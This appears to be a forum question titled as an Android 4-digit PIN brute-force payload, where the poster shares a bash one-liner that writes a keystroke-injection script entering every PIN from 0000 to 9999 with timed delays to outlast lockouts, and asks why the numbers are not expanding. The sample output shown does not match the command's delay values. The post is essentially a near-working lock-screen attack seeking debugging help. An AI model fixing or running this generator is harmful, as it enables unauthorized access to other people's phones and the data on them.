[[Payload] Android Brute Force 4-digit pin]

why is this bash script not outputting the numbers?

echo DELAY 5000 > android_brute-force_0000-9999.txt; echo {0000..9999} | xargs -n 1 echo STRING | sed '0~5 s/$/\nWAIT/g' | sed '0~1 s/$/\nDELAY 1000\nENTER\nENTER/g' | sed 's/WAIT/DELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER\nDELAY 5000\nENTER/g' >> android_brute-force_0000-9999.txt
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results:

DELAY 50
STRING {0000..0004} 
DELAY 100
ENTER

 

i am not getting a long list of all the pincodes but just {0000..0004}

am I missing out on something here?